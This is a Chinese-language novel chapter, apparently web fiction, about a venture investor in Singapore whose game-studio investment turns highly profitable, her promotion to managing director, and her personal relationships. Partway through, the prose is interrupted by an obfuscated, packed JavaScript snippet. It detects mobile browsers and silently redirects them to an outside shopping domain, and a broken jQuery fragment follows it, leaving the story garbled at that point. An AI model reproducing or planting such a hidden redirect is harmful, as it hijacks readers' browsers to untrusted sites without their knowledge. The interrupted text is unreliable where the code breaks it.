雨季正式来了。每天下午一场雨，下得很守时，像打卡。乌节路的圣诞灯亮得比往年早——这个城市过节的方式，就是把灯挂得一年比一年早。
青藤的经营月报是月初到的。周一例会，Vivian把数字念给全组听，念到净利润率那一行停了一下，抬头问：这个数可以对外说吗？
张一说，不可以。然后他自己把那一页又看了一遍。
行业里已经有人在写。周末两篇稿，标题都带"利润"两个字，说东南亚跑出了一家"用网吧打仗的游戏公司"，稿子里没有提清池资本，但清池的对外邮箱三天里多了十几封邮件，有问老股的，有问下一轮的，还有两家PE直接报了意向价格。
董事会通知是月中到的，视频会，议程三项：月度经营、特别分红、第二款游戏立项。
参会名单弹出来的时候，她的目光在其中一个名字上停了一秒。
名单很长：清池、TCP、CIP、团队。James Xu的名字也在——CIP留下了B轮领投的那部分，那部分是真的判断；Amber Gate里的12%，按成本价退给了TCP。各归各位，已经快三年。
方严。TCP早期基金，董事席位。
分手两年多。他们把同屏这件事，排在了一块屏幕的格子里。
她把名单滑过去，合上电脑，去茶水间接了一杯水，回来的时候还差三分钟，她坐下来，把红笔拔了帽。
李卓远在主画面里，背后是五道口那间叫"长安"的会议室。他身后的墙上多了一样东西：一幅装裱起来的草稿——晨光里的一座城，城门开着，城外是正在泛白的天。
财务页第一行：东南亚月流水，六百万美元，印尼占六成。
净利润率，35个点。
拆解页往后翻：网吧渠道贡献了三成半的新增，只吃掉了不到一成的预算；赛季制公会战打到第三个赛季，大R付费占比稳在15%——大R为大R充值，不为数值充值；本地支付和网吧充值的占比过了六成，渠道费被拦腰截断。李砚的美术没有砍品牌调性——89MB的包里，城墙的砖一块一块，还是她画的那面墙。
做过手游的人都知道这个数意味着什么。渠道先分走三成，买量再吃掉一大块，市面上跑得顺的手游，净利率十个点出头，跑到十五个点值得开香槟。青藤的三十五个点，是从两个地方省出来的：本地支付和网吧充值，绕开了一半渠道费；网吧地推把CPI压到半美元以下——线上买量，一块四。
越南的数字也很亮眼：月流水一百一十七万美元，净利率三十一个点。河内的版号审核曾经拖了四个月，去年Q2自营落地，本地发行商那一成半的抽成彻底摘掉。网吧在越南不叫网吧，叫互联网服务中心——牌照门槛高，密度低，但单店覆盖半径大。青藤签下了湄公河三角洲最大的三个连锁品牌，八十家店，给越南流水带来将近四成的增量。
"当年方总给的框架。"李卓远在数字下面点了一下，"合规共享，成本分摊。越南的支付牌照，是Amber Gate的本地合作方带着过的。没有那个框架，自营至少要再晚一年。"
泰国最安静：六十七万美元，净利率二十八个点。曼谷的大学生用TikTok拍了上百条城墙攀爬的短视频，没有投一分钱。
马来西亚月流水六十一万美元，净利率三十四个点——比印尼只低一个点。用户规模不大，但单用户价值全区域最高：ARPPU四十二美元。
"新马原来只是品牌高地。"李卓远说，"现在也是利润高地。"
祝青云的屏幕右上角有一个小格子，标着"方严"。摄像头开着，他坐在一间会议室里，听得很专注。
她全程没有把那个格子点开过。
第二项议程，特别分红。账上现金趴着，第二款游戏的预算单列之后还有富余，李卓远提议：按持股比例，分红一次。
表决。第一个"赞成"来自TCP。
然后是清池，是CIP，是团队。全票通过。
第三项，第二款游戏。DEMO只有四十秒，赛季制，首发就带网吧渠道包。李卓远说，这一款不用再用两年铺渠道——渠道是现成的，网吧是现成的，账本也是现成的。
然后是融资议程。李卓远把现金流页翻了出来：月净利润两百多万美元；第二款游戏的全部研发预算，从流水里出，不动本金；分完这一次红，账上剩下的钱，够整个团队一分不进，再烧两年。
"下一轮不开了。"他说，"要再开，就是IPO前那一轮——到时候不是我们找钱，是钱找我们。"
"按利润定价，不按故事定价。"祝青云说，"青藤等得起。等不起的是他们。"
散会，张一把她叫进会议室，给她看一张表。清池当年投青藤的本金，算上这次分红，全部回来了。
"剩下的股份，"张一说，"全是利润。"
"还记得IC上我问你CAC吗？"张一说，"你说，行业均值不是青藤的起点。现在青藤的CAC，是行业均值的几分之一。"
"是网吧，"她说，"不是我。"
"是你先去的网吧。"张一把表收回去，"先有你去，才有网吧。"
她没有接这句话。出去的时候，她把那张表折好，带回了办公室。
分红月底到账。财务把回单转过来的时候，Vivian盯着那封邮件看了很久，说：原来本金回来，是这个样子。
"记住这个样子。"祝青云说，"以后你带新人，就讲这一页。"
Jason是月中飞来的，年底例行巡站。一对一谈话排在下午四点。
他先说Kasa：投前八百万进，A+轮投前一千六百万，清池合计持股约25%，账面两倍，只用了一年；再说青藤：本金全回，股份全是利润。两年多前那封三个阻断项的邮件，现在内部培训都在用；最后说雅加达那场闭门会：纪要他读到了。没有署名的那行字，他知道是谁的。
"新加坡办公室董事总经理的任命，"Jason说，"我们几个合伙人批了。"
她怔了半秒。
"推荐函不是我写的。"Jason收起文件，"是张一。"
他站起来，走到门口，又回头："清池的风格你记得——谁跟的项目谁讲。以后新加坡的IC，Vivian讲，你坐在旁边补充。坐得住，才算升了。"
"我学过怎么坐。"她说。
出门的时候他又停了一下："听说上个月有猎头找你。"
"嗯。"她说。
"开的价格不低吧。"
"不低。"
"那你亏了点。"Jason说，"我们给不了那个价。"
"我没亏。"她说，"他们给的是价格，这里给的是案子。"
全员邮件是第二天早上发的。Vivian没有在群里刷礼花，她在祝青云桌上放了一杯kopi——Kosong，没有加糖，没有加错。杯子下面压着一张便签，字迹很用力：恭喜你，MD。——V
下午Vivian进来送文件，放下，没走。"MD的第一课是什么？"Vivian问。
"没有第一课。"祝青云说，"把手上的案子做完，就是全部课程。"
她自己没有庆祝，晚上十点关掉电脑，屏幕上是Kasa的最新周报：商户九万六，payback六个月零一周，流水六万九千盾。三条数都在逼近，没有一条撞线。B轮不急了。二月那张名片还在她的抽屉里——对方说，等你的三条数。她也可以等。
谢子维的消息是周三来的，一张食阁的照片：新开的档口，队伍排到转角。
"排队最长的一家。"他说，"周五？庆祝你升职。"
她回了一个字："去。"
周五晚上，队伍比照片里还长，排到转角又折回来一道。前后的人在聊房租和世界杯预选赛，排到一半，卖甘蔗水的推车挤过来，他把她让到里侧。
轮到他们，老板一边斩鸡一边问："第一次来？"
"来庆祝的。"谢子维说，"她升职了。"
老板"哦"了一声，往她的那份上多码了几块鸡肉，说，升职好，升职要吃饱。
那顿饭吃了四十分钟，花了不到二十块。她想起升职在另一个宇宙里的庆祝方式——香槟、气球、写着MD的蛋糕。这一家的方式是：多几块鸡肉，和一个明明可以换个时间、却偏偏陪她站了五十分钟的人。
吃完出来，下过雨的人行道是亮的。过马路，绿灯亮到第三秒，他牵了她的手。没有预告。手就到了，像做过很多次——其实一次也没有。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740872|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她让他牵着。走完那条马路他没有松手，她也没有。从食阁到MRT站四百米，经过三个红绿灯，他都在人流里牵着，牵得不紧。他的手心是干的。
她找不出一个要抽回来的理由。但她也注意到，自己说不出一个牵下去的理由。
闸机口，他松开手。
"恭喜，MD。"他说。这一次，把"总"字还给了她，是另一种叫法。
"谢谢。"她说。
她刷卡进站，回头看了一眼。他还站在闸机外，手插在口袋里，像完成了一个排练很久的动作——也像刚发现，排练和真的做，是两回事。
那是谢子维第一次牵她的手——牵了四百米。他数过：那四百米里，她的心跳有没有快过一拍。数不出来。牵手的人，感觉不到对方的心跳，这是牵手这件事的局限。
周末祝青云自己收拾纸箱。文件最底层，是一个扁纸盒，里面是她的前半生：一张小学的"三好学生"奖状，纸黄了，边角卷着——祝老师当年用挂历纸给它包过边；大学的毕业证书和学位证书；一张德语专八的优秀证书。
这些祝老师都收过。奖状用图钉钉在客厅的墙上，证书收进玻璃柜，摆得最正。她说过那些东西没人看，祝老师说，我女儿的，就是要给人看。
母亲走后，她回C城收拾那间屋子，把墙上的奖状一张一张取下来。图钉孔留在墙上，像一排很小的省略号。
以前每一次翻出来，都要哭一场。纸盒的封口没有折痕——这么多年，她每次都是原样打开，原样封回去，像怕弄皱了什么。其实早就皱了。
她把证书一叠抹平，放进新抽屉的最上面一层，奖状垫在最底下。新名片搁在同一个格里：董事总经理，祝青云。
如果祝老师在，会先问加薪了多少，再问按时吃饭了没有。问完，会把那张名片拿去塑封，收进客厅的玻璃柜，和它们放在一起——逢人就说是擦灰，其实是给人看。
这一次，她没有哭。
窗外还是那棵雨树。三年前她落地新加坡的第一晚，住在滨海湾二十八层的酒店，看的是海湾——漂亮，但和她没有关系。现在她看的是一棵树，树下有她每天买kopi的档口，档口的老头认识她的杯子。
漂亮的海湾是给人路过的；一棵树，才是给人住下的。
微信是这时候进来的。简安安，头像还是很多年前的那一个。
"看到青藤的新闻了。"她说，"恭喜你，以及谢谢你当初没把我当敌人。"
祝青云看着那行字。想起SKP-S那条走廊，想起一副没有被戴过的耳钉，想起一个出差回来的傍晚、隔着一道门听到的笑声。那些时候，她都有资格把简安安当成敌人。
她一次也没有。
宠悦还活着。她是从行业新闻里知道的：门店没有铺开，但也没有倒，简安安把节奏压得很慢，像在做一场不打算冲刺的长跑。那就很好。
"都过去了。"她回。想了想，又加一句："宠悦加油。"
北京，同一个月。晚上八点。
方严关掉视频会议窗口，在会议室里没有动。
开会的时候，参会名单里她的名字排在清池那一栏的第一位。他把每个人的格子都点开过一遍——这是他的会前习惯。她的格子，他点开了一分钟：她在看文件，红笔拔了帽，中途接了一杯水。一分钟之后他关掉了，没有再点开。
分红议案表决之前，基金内部讨论过一次：现金留在公司里，滚进第二款游戏，IRR更高，分析师把测算页翻给他看。
他把那一页翻过去，说：投赞成。分析师问理由。
他说，第一款游戏的分红，先让团队和股东拿到钱，这是他们应得的。
真正的原因他没有说。两年多前，同一家公司的会议室里，有人用铅笔在文件的页边写过一行字：青藤不做任何人的管道。
今天这笔分红，干净，按股比，没有管道。
他站起来，把会议室的灯关了。回到办公室，翻开二期基金的文件——郑总那边的条款清单，明天要过第一遍。
同一天，李卓远给祝青云发了一条私信。
"青云姐，分红表决，方严哥第一个投的赞成。"隔了几秒，又一条，"他变了。"
祝青云看了那两条消息，没有回。